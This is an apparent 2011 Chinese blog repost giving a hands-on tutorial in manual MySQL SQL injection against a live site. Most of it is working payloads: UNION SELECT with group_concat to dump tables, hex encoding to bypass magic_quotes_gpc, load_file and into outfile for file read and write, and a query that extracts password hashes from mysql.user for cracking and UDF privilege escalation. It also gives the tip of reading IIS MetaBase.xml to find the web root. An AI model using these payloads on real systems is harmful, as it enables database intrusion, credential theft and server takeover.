您的位置:首页 > 数据库 > MySQL

MySql 手工注入实战

2011-06-27 18:43 537 查看
1.如何判断权限是否为root

and ord(mid(user(),1,1))=114 返回正常 即为ROOT权限,

2.注入点只有一个地方显示数据,如何查询多条数据

假设这个注入点 只有3 如何显示多条数据?

使用concat函数。

格式concat(user(),database(),version(),@@datadir)

root@localhosthyxy5.1.40-communityC:\Documents and Settings\All Users\Application Data\MySQL\MySQL Server 5.1\Data\

这样不好看? 可以自己加个空格

oot@localhost hyxy 5.1.40-community C:\Documents and Settings\All Users\Application Data\MySQL\MySQL Server 5.1\Data\

这是数据,如果是想同时爆出所有数据库、表、列

即可用group_concat

and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--

3.如何使用十六进制绕过 '

mysql数据库自带一个函数 hex 即可把字符转换成hex16进制

当然 用unhex 即可反之。

select hex('isosky');

select unhex('69736F736B79');

4.为什么root权限读入不了文件

(1)root被降权了

(2)linux服务器必须对目录有权限才可操作

(3)php.ini中的magic_quotes_gpc 为on 这个变量主要就是防止黑客攻击的

当为on时,不能直接输入路径,我们可以转换为hex绕过!当然我们也就可以通过这样来判断他的magic_quotes_gpc

的状态!

load_file('c:/boot.ini') 失败

load_file(0x633A2F626F6F742E696E69) 即可

5.为什么root没有写入权限

(1)root被降权了

(2)linux服务器必须对目录有权限才可操作

(3)同样是由于magic_quotes_gpc为on 是不可写入的。从第四个问题我们已经知道这台服务器的magic_quotes_gpc

是为on 所以是不能写入的。

可以测试一下。

'test'into outfile'c://1.txt' 返回错误 并没有写入成功!

6.windows服务器不知道路径,但是我想查到数据库的密码,这样可以直接拿到密码进行udf提权 怎么做?

select user,password,host from mysql.user 即可查询到

这个注入点的权限为root 自然对mysql数据库有查询权限

当然因为magic_quotes_gpc 为on 所以要使用hex绕过'

修改后即为

select concat(unhex(hex(cast(user as
char))),0x3a,unhex(hex(cast(password as char))),0x3a,unhex(hex(cast(host
as char)))) from mysql.user

(hex(cast((user as char))) 把user使用char类型查看然后转换为hex 这样得出的结果是hex

但是查询要是铭文 所以还要unhex,这样即可查询到用户.完善之后

root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1Blocalhost

为了好看,可以加个空格或者冒号

root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B:localhost

然后我们补充到注入点即为

and 1=2 union select 1,2,(select concat(unhex(hex(cast(user as
char))),0x3a,unhex(hex(cast(password as char))),0x3a,unhex(hex(cast(host
as char)))) from mysql.user limit 0,10),4,5,6,7,8,9,10

没有设定limit 显示的行数,结果爆出,害得我找半天。。

设定一下limit即可.

root:*DA042342E98014F25016DB9ACB43BD9ACE038343:localhost

之后破解hash即可UDF提权。

CMD5 就是这么不给力!

7.更多函数、技巧

+ 可以代替空格

比如 select 1,2,3,4,5 可以转换为 select+1,2,3,4,5

在注入点ID前面加个 - 号 可以代替 and 1=2

我想想。。。嗯。。实在想不到了。暂时就这么多吧。有问题可以单独和谐。。

----------------------------------------------

补充一个技巧:

IIS可以通过读取IIS配置文件找到网站路径!

c:\\windows\\system32\\inetsrv\\MetaBase.xml
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: